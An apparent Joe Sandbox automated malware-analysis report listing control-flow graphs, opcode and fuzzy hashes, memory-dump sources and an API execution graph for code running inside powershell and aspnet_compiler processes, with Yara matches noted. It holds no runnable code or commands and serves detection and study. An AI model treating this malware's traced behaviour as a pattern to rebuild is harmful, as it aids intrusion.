                                                        control_flow_graph 841 7d01f18-7d01f3a 842 7d01f40-7d01f45 841->842 843 7d020b7-7d02102 841->843 844 7d01f47-7d01f4d 842->844 845 7d01f5d-7d01f69 842->845 849 7d02108-7d0210d 843->849 850 7d0225d-7d022a2 843->850 846 7d01f51-7d01f5b 844->846 847 7d01f4f 844->847 855 7d02062-7d0206c 845->855 856 7d01f6f-7d01f72 845->856 846->845 847->845 853 7d02125-7d02129 849->853 854 7d0210f-7d02115 849->854 870 7d022a8-7d022ad 850->870 871 7d0244c-7d0247c 850->871 862 7d02208-7d02212 853->862 863 7d0212f-7d02133 853->863 857 7d02117 854->857 858 7d02119-7d02123 854->858 859 7d0207a-7d02080 855->859 860 7d0206e-7d02077 855->860 856->855 861 7d01f78-7d01f7f 856->861 857->853 858->853 865 7d02082-7d02084 859->865 866 7d02086-7d02092 859->866 861->843 867 7d01f85-7d01f8a 861->867 872 7d02220-7d02226 862->872 873 7d02214-7d0221d 862->873 868 7d02173 863->868 869 7d02135-7d02146 863->869 878 7d02094-7d020b4 865->878 866->878 879 7d01fa2-7d01fa6 867->879 880 7d01f8c-7d01f92 867->880 876 7d02175-7d02177 868->876 869->850 906 7d0214c-7d02151 869->906 881 7d022c5-7d022c9 870->881 882 7d022af-7d022b5 870->882 903 7d024b5-7d024bf 871->903 904 7d0247e-7d0249b 871->904 874 7d02228-7d0222a 872->874 875 7d0222c-7d02238 872->875 884 7d0223a-7d0225a 874->884 875->884 876->862 885 7d0217d-7d02181 876->885 879->855 892 7d01fac-7d01fb0 879->892 889 7d01f94 880->889 890 7d01f96-7d01fa0 880->890 886 7d023f4-7d023fe 881->886 887 7d022cf-7d022d3 881->887 893 7d022b7 882->893 894 7d022b9-7d022c3 882->894 885->862 895 7d02187-7d02196 885->895 896 7d02400-7d02409 886->896 897 7d0240c-7d02412 886->897 898 7d02313 887->898 899 7d022d5-7d022e6 887->899 889->879 890->879 901 7d01fd0 892->901 902 7d01fb2-7d01fce 892->902 893->881 894->881 930 7d02198-7d0219e 895->930 931 7d021ae-7d02205 895->931 908 7d02414-7d02416 897->908 909 7d02418-7d02424 897->909 911 7d02315-7d02317 898->911 899->871 932 7d022ec-7d022f1 899->932 912 7d01fd2-7d01fd4 901->912 902->912 914 7d024c1-7d024c5 903->914 915 7d024c8-7d024ce 903->915 935 7d02505-7d0250a 904->935 936 7d0249d-7d024af 904->936 916 7d02153-7d02159 906->916 917 7d02169-7d02171 906->917 920 7d02426-7d02449 908->920 909->920 911->886 922 7d0231d-7d02321 911->922 912->855 925 7d01fda-7d01fe7 912->925 926 7d024d0-7d024d2 915->926 927 7d024d4-7d024e0 915->927 928 7d0215b 916->928 929 7d0215d-7d02167 916->929 917->876 922->886 934 7d02327-7d0232b 922->934 956 7d01fee-7d01ff0 925->956 938 7d024e2-7d02502 926->938 927->938 928->917 929->917 940 7d021a0 930->940 941 7d021a2-7d021a4 930->941 942 7d022f3-7d022f9 932->942 943 7d02309-7d02311 932->943 934->886 946 7d02331-7d02357 934->946 935->936 936->903 940->931 941->931 952 7d022fb 942->952 953 7d022fd-7d02307 942->953 943->911 946->886 965 7d0235d-7d02361 946->965 952->943 953->943 959 7d01ff2-7d01ff8 956->959 960 7d02008-7d0205f 956->960 963 7d01ffa 959->963 964 7d01ffc-7d01ffe 959->964 963->960 964->960 966 7d02363-7d0236c 965->966 967 7d02384 965->967 969 7d02373-7d02380 966->969 970 7d0236e-7d02371 966->970 968 7d02387-7d02394 967->968 972 7d0239a-7d023f1 968->972 971 7d02382 969->971 970->971 971->968
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 012f446328baad7b0cb5259788d8ca67e097d2fa41c4f723aae6bb6d19bc0289
                                                        • Instruction ID: 56d04b2a81cd84654a2d8c67ed3c302cef0dfd842585af1d4baf70c5d7e4cda2
                                                        • Opcode Fuzzy Hash: 012f446328baad7b0cb5259788d8ca67e097d2fa41c4f723aae6bb6d19bc0289
                                                        • Instruction Fuzzy Hash: 9BF113B1B0520ADFDB158B79C8487AAFBA2FFC5310F1490BAD5458B291DB31E845C7E2
                                                        Function 07D009C8 Relevance: .4, Instructions: 365COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 975 7d009c8-7d009eb 976 7d009f1-7d009f6 975->976 977 7d00bc6-7d00be0 975->977 978 7d009f8-7d009fe 976->978 979 7d00a0e-7d00a12 976->979 987 7d00be2-7d00c0e 977->987 988 7d00b9f-7d00ba3 977->988 983 7d00a00 978->983 984 7d00a02-7d00a0c 978->984 980 7d00b73-7d00b7d 979->980 981 7d00a18-7d00a1c 979->981 989 7d00b8b-7d00b91 980->989 990 7d00b7f-7d00b88 980->990 985 7d00a1e-7d00a2d 981->985 986 7d00a2f 981->986 983->979 984->979 994 7d00a31-7d00a33 985->994 986->994 996 7d00c14-7d00c19 987->996 997 7d00d7b-7d00dad 987->997 995 7d00ba5-7d00bc3 988->995 992 7d00b93-7d00b95 989->992 993 7d00b97-7d00b99 989->993 992->995 993->988 994->980 998 7d00a39-7d00a59 994->998 999 7d00c31-7d00c35 996->999 1000 7d00c1b-7d00c21 996->1000 1012 7d00dbd 997->1012 1013 7d00daf-7d00dbb 997->1013 1032 7d00a78 998->1032 1033 7d00a5b-7d00a76 998->1033 1003 7d00d2a-7d00d34 999->1003 1004 7d00c3b-7d00c3d 999->1004 1001 7d00c23 1000->1001 1002 7d00c25-7d00c2f 1000->1002 1001->999 1002->999 1007 7d00d42-7d00d48 1003->1007 1008 7d00d36-7d00d3f 1003->1008 1009 7d00c4d 1004->1009 1010 7d00c3f-7d00c4b 1004->1010 1015 7d00d4a-7d00d4c 1007->1015 1016 7d00d4e-7d00d5a 1007->1016 1018 7d00c4f-7d00c51 1009->1018 1010->1018 1014 7d00dbf-7d00dc1 1012->1014 1013->1014 1020 7d00dc3-7d00dc9 1014->1020 1021 7d00e0d-7d00e17 1014->1021 1022 7d00d5c-7d00d78 1015->1022 1016->1022 1018->1003 1023 7d00c57-7d00c59 1018->1023 1025 7d00dd7-7d00df4 1020->1025 1026 7d00dcb-7d00dcd 1020->1026 1028 7d00e22-7d00e28 1021->1028 1029 7d00e19-7d00e1f 1021->1029 1030 7d00c69 1023->1030 1031 7d00c5b-7d00c67 1023->1031 1046 7d00df6-7d00e07 1025->1046 1047 7d00e5a-7d00e5f 1025->1047 1026->1025 1037 7d00e2a-7d00e2c 1028->1037 1038 7d00e2e-7d00e3a 1028->1038 1036 7d00c6b-7d00c6d 1030->1036 1031->1036 1034 7d00a7a-7d00a7c 1032->1034 1033->1034 1034->980 1039 7d00a82-7d00a84 1034->1039 1036->1003 1041 7d00c73-7d00c75 1036->1041 1042 7d00e3c-7d00e57 1037->1042 1038->1042 1044 7d00a94 1039->1044 1045 7d00a86-7d00a92 1039->1045 1049 7d00c77-7d00c7d 1041->1049 1050 7d00c8f-7d00c93 1041->1050 1053 7d00a96-7d00a98 1044->1053 1045->1053 1046->1021 1047->1046 1056 7d00c81-7d00c8d 1049->1056 1057 7d00c7f 1049->1057 1054 7d00c95-7d00c9b 1050->1054 1055 7d00cad-7d00d27 1050->1055 1053->980 1061 7d00a9e-7d00abe 1053->1061 1059 7d00c9d 1054->1059 1060 7d00c9f-7d00cab 1054->1060 1056->1050 1057->1050 1059->1055 1060->1055 1071 7d00ac0-7d00ac6 1061->1071 1072 7d00ad6-7d00ada 1061->1072 1075 7d00ac8 1071->1075 1076 7d00aca-7d00acc 1071->1076 1073 7d00af4-7d00af8 1072->1073 1074 7d00adc-7d00ae2 1072->1074 1079 7d00aff-7d00b01 1073->1079 1077 7d00ae4 1074->1077 1078 7d00ae6-7d00af2 1074->1078 1075->1072 1076->1072 1077->1073 1078->1073 1081 7d00b03-7d00b09 1079->1081 1082 7d00b19-7d00b70 1079->1082 1083 7d00b0b 1081->1083 1084 7d00b0d-7d00b0f 1081->1084 1083->1082 1084->1082
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: bba0ce6530b746039b5764126e8dddc9d994090ce127cffb684a68a9b9e4fca0
                                                        • Instruction ID: f117530958540364cf685f8b8d54fa6c68cf93d514b5c18adfe8efeb11a14b63
                                                        • Opcode Fuzzy Hash: bba0ce6530b746039b5764126e8dddc9d994090ce127cffb684a68a9b9e4fca0
                                                        • Instruction Fuzzy Hash: F5B124B1B0030AAFDB249A79981076AFBA5EFC1214F28A07AD545CB2C1DE71D952C7E1
                                                        Function 07D013A0 Relevance: .3, Instructions: 336COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1086 7d013a0-7d013c6 1087 7d01572-7d0158c 1086->1087 1088 7d013cc-7d013d1 1086->1088 1096 7d01536-7d0153c 1087->1096 1097 7d0158e-7d015ba 1087->1097 1089 7d013d3-7d013d9 1088->1089 1090 7d013e9-7d013ed 1088->1090 1092 7d013db 1089->1092 1093 7d013dd-7d013e7 1089->1093 1094 7d013f3-7d013f5 1090->1094 1095 7d0151e-7d01528 1090->1095 1092->1090 1093->1090 1099 7d01405 1094->1099 1100 7d013f7-7d01403 1094->1100 1095->1096 1098 7d0152a-7d01533 1095->1098 1104 7d01542-7d0154e 1096->1104 1105 7d0153e-7d01540 1096->1105 1101 7d015c0-7d015c5 1097->1101 1102 7d016ec-7d0171d 1097->1102 1106 7d01407-7d01409 1099->1106 1100->1106 1107 7d015c7-7d015cd 1101->1107 1108 7d015dd-7d015e1 1101->1108 1123 7d0172d 1102->1123 1124 7d0171f-7d0172b 1102->1124 1109 7d01550-7d0156f 1104->1109 1105->1109 1106->1095 1110 7d0140f-7d01413 1106->1110 1111 7d015d1-7d015db 1107->1111 1112 7d015cf 1107->1112 1113 7d015e7-7d015e9 1108->1113 1114 7d0169e-7d016a8 1108->1114 1116 7d01415-7d01424 1110->1116 1117 7d01426 1110->1117 1111->1108 1112->1108 1121 7d015f9 1113->1121 1122 7d015eb-7d015f7 1113->1122 1125 7d016b5-7d016bb 1114->1125 1126 7d016aa-7d016b2 1114->1126 1120 7d01428-7d0142a 1116->1120 1117->1120 1120->1095 1132 7d01430-7d01432 1120->1132 1129 7d015fb-7d015fd 1121->1129 1122->1129 1130 7d0172f-7d01731 1123->1130 1124->1130 1127 7d016c1-7d016cd 1125->1127 1128 7d016bd-7d016bf 1125->1128 1135 7d016cf-7d016e9 1127->1135 1128->1135 1129->1114 1139 7d01603-7d01605 1129->1139 1137 7d01733-7d01752 1130->1137 1138 7d0179f-7d017a9 1130->1138 1133 7d01442 1132->1133 1134 7d01434-7d01440 1132->1134 1140 7d01444-7d01446 1133->1140 1134->1140 1171 7d01762 1137->1171 1172 7d01754-7d01760 1137->1172 1141 7d017b2-7d017b8 1138->1141 1142 7d017ab-7d017af 1138->1142 1144 7d01607-7d0160d 1139->1144 1145 7d0161f-7d0162a 1139->1145 1140->1095 1146 7d0144c-7d0144e 1140->1146 1151 7d017ba-7d017bc 1141->1151 1152 7d017be-7d017ca 1141->1152 1149 7d01611-7d0161d 1144->1149 1150 7d0160f 1144->1150 1165 7d01642-7d0169b 1145->1165 1166 7d0162c-7d01632 1145->1166 1154 7d01450-7d01456 1146->1154 1155 7d01468-7d01473 1146->1155 1149->1145 1150->1145 1153 7d017cc-7d017ea 1151->1153 1152->1153 1158 7d01458 1154->1158 1159 7d0145a-7d01466 1154->1159 1160 7d01482-7d0148e 1155->1160 1161 7d01475-7d01478 1155->1161 1158->1155 1159->1155 1169 7d01490-7d01492 1160->1169 1170 7d0149c-7d014a3 1160->1170 1161->1160 1173 7d01634 1166->1173 1174 7d01636-7d01638 1166->1174 1169->1170 1179 7d014aa-7d014ac 1170->1179 1175 7d01764-7d01766 1171->1175 1172->1175 1173->1165 1174->1165 1175->1138 1178 7d01768-7d01785 1175->1178 1186 7d01787-7d01799 1178->1186 1187 7d017ed-7d017f2 1178->1187 1180 7d014c4-7d0151b 1179->1180 1181 7d014ae-7d014b4 1179->1181 1184 7d014b6 1181->1184 1185 7d014b8-7d014ba 1181->1185 1184->1180 1185->1180 1186->1138 1187->1186
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 763990d7e81c9f172490313ed1c9c8dc3ea825b985bfca1fa3b1c643ce6489b6
                                                        • Instruction ID: 0e806e59ac3b2a1e29f17c6f467b35dfebf969a9137547016c23e463c8d3d390
                                                        • Opcode Fuzzy Hash: 763990d7e81c9f172490313ed1c9c8dc3ea825b985bfca1fa3b1c643ce6489b6
                                                        • Instruction Fuzzy Hash: BFB107B570420ADFCB258B69C81476EFBA5AFC1310F6890BAD945CB2D1DA32C951C7E1
                                                        Function 07D000F0 Relevance: .3, Instructions: 325COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1189 7d000f0-7d00115 1190 7d0011b-7d00120 1189->1190 1191 7d0028d-7d002d3 1189->1191 1192 7d00122-7d00128 1190->1192 1193 7d00138-7d00144 1190->1193 1198 7d002d9-7d002de 1191->1198 1199 7d0042a-7d0045d 1191->1199 1194 7d0012a 1192->1194 1195 7d0012c-7d00136 1192->1195 1201 7d0023a-7d00244 1193->1201 1202 7d0014a-7d0014d 1193->1202 1194->1193 1195->1193 1203 7d002e0-7d002e6 1198->1203 1204 7d002f6-7d002fa 1198->1204 1217 7d004be-7d004c8 1199->1217 1218 7d0045f-7d0047c 1199->1218 1209 7d00252-7d00258 1201->1209 1210 7d00246-7d0024f 1201->1210 1202->1201 1208 7d00153-7d0015a 1202->1208 1211 7d002e8 1203->1211 1212 7d002ea-7d002f4 1203->1212 1205 7d00300-7d00302 1204->1205 1206 7d003d7-7d003e1 1204->1206 1215 7d00312 1205->1215 1216 7d00304-7d00310 1205->1216 1219 7d003e3-7d003ec 1206->1219 1220 7d003ef-7d003f5 1206->1220 1208->1191 1221 7d00160-7d00165 1208->1221 1213 7d0025a-7d0025c 1209->1213 1214 7d0025e-7d0026a 1209->1214 1211->1204 1212->1204 1222 7d0026c-7d0028a 1213->1222 1214->1222 1224 7d00314-7d00316 1215->1224 1216->1224 1225 7d004d1-7d004d7 1217->1225 1226 7d004ca-7d004ce 1217->1226 1247 7d00482-7d00488 1218->1247 1248 7d0050d-7d00512 1218->1248 1229 7d003f7-7d003f9 1220->1229 1230 7d003fb-7d00407 1220->1230 1227 7d00167-7d0016d 1221->1227 1228 7d0017d-7d00181 1221->1228 1224->1206 1233 7d0031c-7d00320 1224->1233 1234 7d004d9-7d004db 1225->1234 1235 7d004dd-7d004e9 1225->1235 1237 7d00171-7d0017b 1227->1237 1238 7d0016f 1227->1238 1228->1201 1231 7d00187-7d00189 1228->1231 1239 7d00409-7d00427 1229->1239 1230->1239 1240 7d00199 1231->1240 1241 7d0018b-7d00197 1231->1241 1244 7d00340 1233->1244 1245 7d00322-7d0033e 1233->1245 1246 7d004eb-7d0050a 1234->1246 1235->1246 1237->1228 1238->1228 1249 7d0019b-7d0019d 1240->1249 1241->1249 1255 7d00342-7d00344 1244->1255 1245->1255 1253 7d0048a 1247->1253 1254 7d0048c-7d00498 1247->1254 1248->1247 1249->1201 1257 7d001a3-7d001a5 1249->1257 1262 7d0049a-7d004b8 1253->1262 1254->1262 1255->1206 1256 7d0034a-7d0035d 1255->1256 1274 7d00363-7d00365 1256->1274 1264 7d001a7-7d001ad 1257->1264 1265 7d001bf-7d001c8 1257->1265 1262->1217 1270 7d001b1-7d001bd 1264->1270 1271 7d001af 1264->1271 1276 7d001e0-7d00237 1265->1276 1277 7d001ca-7d001d0 1265->1277 1270->1265 1271->1265 1278 7d00367-7d0036d 1274->1278 1279 7d0037d-7d003d4 1274->1279 1280 7d001d2 1277->1280 1281 7d001d4-7d001d6 1277->1281 1283 7d00371-7d00373 1278->1283 1284 7d0036f 1278->1284 1280->1276 1281->1276 1283->1279 1284->1279
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 890ac211788e23e9ea47c03bd37e87423035be20494e0b63987f33d714b1a54a
                                                        • Instruction ID: 7e5452be8e60f1d9f42850f2dd86b6abf4d9a7ec5efa6f30994d34894ae97542
                                                        • Opcode Fuzzy Hash: 890ac211788e23e9ea47c03bd37e87423035be20494e0b63987f33d714b1a54a
                                                        • Instruction Fuzzy Hash: 09B106B1B04206EFDB258B79D84076AFBA5EFC5210F1490BBD549CB2D1DA71C942C7E2
                                                        Function 07D009A8 Relevance: .1, Instructions: 126COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: e4e9b085d6072a86133d7b2c0de910f700222faa22fcabb1ba0e712df08ce556
                                                        • Instruction ID: b6184b48c88b7e7e1f6bc0954ab2a7567a11f2602241b8327f7e3fca5e814884
                                                        • Opcode Fuzzy Hash: e4e9b085d6072a86133d7b2c0de910f700222faa22fcabb1ba0e712df08ce556
                                                        • Instruction Fuzzy Hash: 1F4124F0604346BFDB249B24D5107AAFBA0AF81254F58A0B7D449CB2D1EB35C951C7F1
                                                        Function 07D01380 Relevance: .1, Instructions: 93COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 8e18d93974d5d0debcaf3903005b1b0b3861ddcf518a25b0c84e2fadec21d568
                                                        • Instruction ID: 3292dd1f6c157364bde8fa7339a7ae214f592d327d3f6ffe08219cf3374b5ea5
                                                        • Opcode Fuzzy Hash: 8e18d93974d5d0debcaf3903005b1b0b3861ddcf518a25b0c84e2fadec21d568
                                                        • Instruction Fuzzy Hash: 5131B2B460430EDFCB2A8E18C94036DBBB1EF41311F59A1A6DC049B1E2E736C945CBA2
                                                        Function 07D01EF8 Relevance: .1, Instructions: 84COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2512326878.0000000007D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D00000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_7d00000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 751d272f7d3de7e4caca58002674c99b3edc3520061206f2c241466924daf92f
                                                        • Instruction ID: 9591decd2d34be132378040ebe55de7deacdaad8b7ff59fb6ee8f79b466b949e
                                                        • Opcode Fuzzy Hash: 751d272f7d3de7e4caca58002674c99b3edc3520061206f2c241466924daf92f
                                                        • Instruction Fuzzy Hash: B031C3B1A0530ACFCB158F25C448B69FFA1BF86310F19A1AAD548CB291D736D885CBD2
                                                        Function 04CED005 Relevance: .0, Instructions: 45COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2471418894.0000000004CED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CED000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4ced000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 53fdfaa6c5a2f9df4277330553779b2ae996e8be8c80313fbb683b62237afba1
                                                        • Instruction ID: a0b0d4cfcf7540c25d36f02e50e1d42abc5721fdadde9a636ca0c8fc871c9de8
                                                        • Opcode Fuzzy Hash: 53fdfaa6c5a2f9df4277330553779b2ae996e8be8c80313fbb683b62237afba1
                                                        • Instruction Fuzzy Hash: C001526140E3C05FE7128B259994762BFB4DF43224F1DC1DBD9888F1A3C2695845C772
                                                        Function 04CED01D Relevance: .0, Instructions: 45COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000008.00000002.2471418894.0000000004CED000.00000040.00000800.00020000.00000000.sdmp, Offset: 04CED000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_8_2_4ced000_powershell.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 78cbe9f399d1c2b97ff1688941061752636b2fcadb2cf447c2fbecf3dbeb5f0e
                                                        • Instruction ID: 76c32072a928eb409a6136afdb7982c499e75a7f2460958ef297fe8399571ea3
                                                        • Opcode Fuzzy Hash: 78cbe9f399d1c2b97ff1688941061752636b2fcadb2cf447c2fbecf3dbeb5f0e
                                                        • Instruction Fuzzy Hash: 1201F2715053459AE7104E27E980B76BF98EF41324F0CC01AED0A0B292CBB9A941C6B1

                                                        Execution Graph

                                                        Execution Coverage:0.9%
                                                        Dynamic/Decrypted Code Coverage:5.8%
                                                        Signature Coverage:5.8%
                                                        Total number of Nodes:104
                                                        Total number of Limit Nodes:8
                                                        execution_graph 80615 42be43 80616 42be60 80615->80616 80619 12f2df0 LdrInitializeThunk 80616->80619 80617 42be88 80619->80617 80620 424e63 80624 424e7c 80620->80624 80621 424ec4 80628 42e903 80621->80628 80624->80621 80625 424f04 80624->80625 80627 424f09 80624->80627 80626 42e903 RtlFreeHeap 80625->80626 80626->80627 80631 42cbc3 80628->80631 80630 424ed4 80632 42cbdd 80631->80632 80633 42cbee RtlFreeHeap 80632->80633 80633->80630 80634 42f9a3 80635 42f9b3 80634->80635 80636 42f9b9 80634->80636 80639 42e9e3 80636->80639 80638 42f9df 80642 42cb73 80639->80642 80641 42e9fe 80641->80638 80643 42cb8d 80642->80643 80644 42cb9e RtlAllocateHeap 80643->80644 80644->80641 80739 424ad3 80740 424aef 80739->80740 80741 424b17 80740->80741 80742 424b2b 80740->80742 80743 42c853 NtClose 80741->80743 80744 42c853 NtClose 80742->80744 80745 424b20 80743->80745 80746 424b34 80744->80746 80749 42ea23 RtlAllocateHeap 80746->80749 80748 424b3f 80749->80748 80645 413d63 80649 413d83 80645->80649 80647 413dec 80648 413de2 80649->80647 80650 41b4b3 RtlFreeHeap LdrInitializeThunk 80649->80650 80650->80648 80651 417883 80652 4178a7 80651->80652 80653 4178e3 LdrLoadDll 80652->80653 80654 4178ae 80652->80654 80653->80654 80655 41e583 80656 41e5a9 80655->80656 80660 41e69d 80656->80660 80661 42fad3 80656->80661 80658 41e63b 80658->80660 80667 42be93 80658->80667 80662 42fa43 80661->80662 80663 42faa0 80662->80663 80664 42e9e3 RtlAllocateHeap 80662->80664 80663->80658 80665 42fa7d 80664->80665 80666 42e903 RtlFreeHeap 80665->80666 80666->80663 80668 42beb0 80667->80668 80671 12f2c0a 80668->80671 80669 42bedc 80669->80660 80672 12f2c1f LdrInitializeThunk 80671->80672 80673 12f2c11 80671->80673 80672->80669 80673->80669 80674 401a26 80675 401a2a 80674->80675 80678 42fe73 80675->80678 80681 42e4c3 80678->80681 80682 42e4e9 80681->80682 80691 4072b3 80682->80691 80684 42e4ff 80690 401b6a 80684->80690 80694 41b1a3 80684->80694 80686 42e51e 80687 42e533 80686->80687 80688 42cc13 ExitProcess 80686->80688 80705 42cc13 80687->80705 80688->80687 80708 416543 80691->80708 80693 4072c0 80693->80684 80695 41b1cf 80694->80695 80719 41b093 80695->80719 80698 41b214 80701 41b230 80698->80701 80703 42c853 NtClose 80698->80703 80699 41b1fc 80700 41b207 80699->80700 80725 42c853 80699->80725 80700->80686 80701->80686 80704 41b226 80703->80704 80704->80686 80706 42cc30 80705->80706 80707 42cc41 ExitProcess 80706->80707 80707->80690 80709 41655c 80708->80709 80711 416575 80709->80711 80712 42d2b3 80709->80712 80711->80693 80714 42d2cd 80712->80714 80713 42d2fc 80713->80711 80714->80713 80715 42be93 LdrInitializeThunk 80714->80715 80716 42d358 80715->80716 80717 42e903 RtlFreeHeap 80716->80717 80718 42d36d 80717->80718 80718->80711 80720 41b0ad 80719->80720 80724 41b189 80719->80724 80728 42bf33 80720->80728 80723 42c853 NtClose 80723->80724 80724->80698 80724->80699 80726 42c870 80725->80726 80727 42c881 NtClose 80726->80727 80727->80700 80729 42bf50 80728->80729 80732 12f35c0 LdrInitializeThunk 80729->80732 80730 41b17d 80730->80723 80732->80730 80733 12f2b60 LdrInitializeThunk

                                                        Executed Functions

                                                        Function 00417883 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 51 417883-4178ac call 42f4e3 54 4178b2-4178c0 call 42fae3 51->54 55 4178ae-4178b1 51->55 58 4178d0-4178e1 call 42df93 54->58 59 4178c2-4178cd call 42fd83 54->59 64 4178e3-4178f7 LdrLoadDll 58->64 65 4178fa-4178fd 58->65 59->58 64->65
                                                        APIs
                                                        • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 004178F5
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_400000_aspnet_compiler.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Load
                                                        • String ID:
                                                        • API String ID: 2234796835-0
                                                        • Opcode ID: fe190b5d9719e6ff89052786c64c6e935a6bf8bef81c08c2f39bd3011dd69de0
                                                        • Instruction ID: d7861a06259c038a63114ac7bdc144aca29883e43a94606e246aab5020936081
                                                        • Opcode Fuzzy Hash: fe190b5d9719e6ff89052786c64c6e935a6bf8bef81c08c2f39bd3011dd69de0
                                                        • Instruction Fuzzy Hash: 4A0175B5E0020DABDF10EBE5DC42FDEB7789B14308F4041A6E90897240F634EB48CB95
                                                        Function 0042C853 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 76 42c853-42c88f call 4047a3 call 42da83 NtClose
                                                        APIs
                                                        • NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042C88A
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2879796460.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_400000_aspnet_compiler.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Close
                                                        • String ID:
                                                        • API String ID: 3535843008-0
                                                        • Opcode ID: c0b9957df0c40441fc9a32c4c3548512a6b3bb1a60b15af15904d25cc6b8972c
                                                        • Instruction ID: 4b8401276f89ead0926f87f9df5de666acf81678bb4d9dbddbb28a38ba873e3f
                                                        • Opcode Fuzzy Hash: c0b9957df0c40441fc9a32c4c3548512a6b3bb1a60b15af15904d25cc6b8972c
                                                        • Instruction Fuzzy Hash: CAE04F352012147BC220AA5AEC41FA7775DDBC5714F508029FA08A7182CA74BA1087E4
                                                        Function 012F35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 93 12f35c0-12f35cc LdrInitializeThunk
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 0000000C.00000002.2883784931.0000000001280000.00000040.00001000.00020000.00000000.sdmp, Offset: 01280000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_12_2_1280000_aspnet_compiler.jbxd
                                                        Similarity
                                                        • API ID: InitializeThunk
                                                        • String ID:
                                                        • API String ID: 2994545307-0
                                                        • Opcode ID: 2fa55755776bdb72428a12694452f2b158e66ce8270dbb6a2a1594d3158ea298
                                                        • Instruction ID: 78c7b917c4afae5266896b7dc76a71ae7202aaf5d565bea2ae95e1a4f8c01d71
                                                        • Opcode Fuzzy Hash: 2fa55755776bdb72428a12694452f2b158e66ce8270dbb6a2a1594d3158ea298
                                                        • Instruction Fuzzy Hash: E8900235A0590442E101715C4524706104597D0205F65C451A04245ACDC7958A9566A2
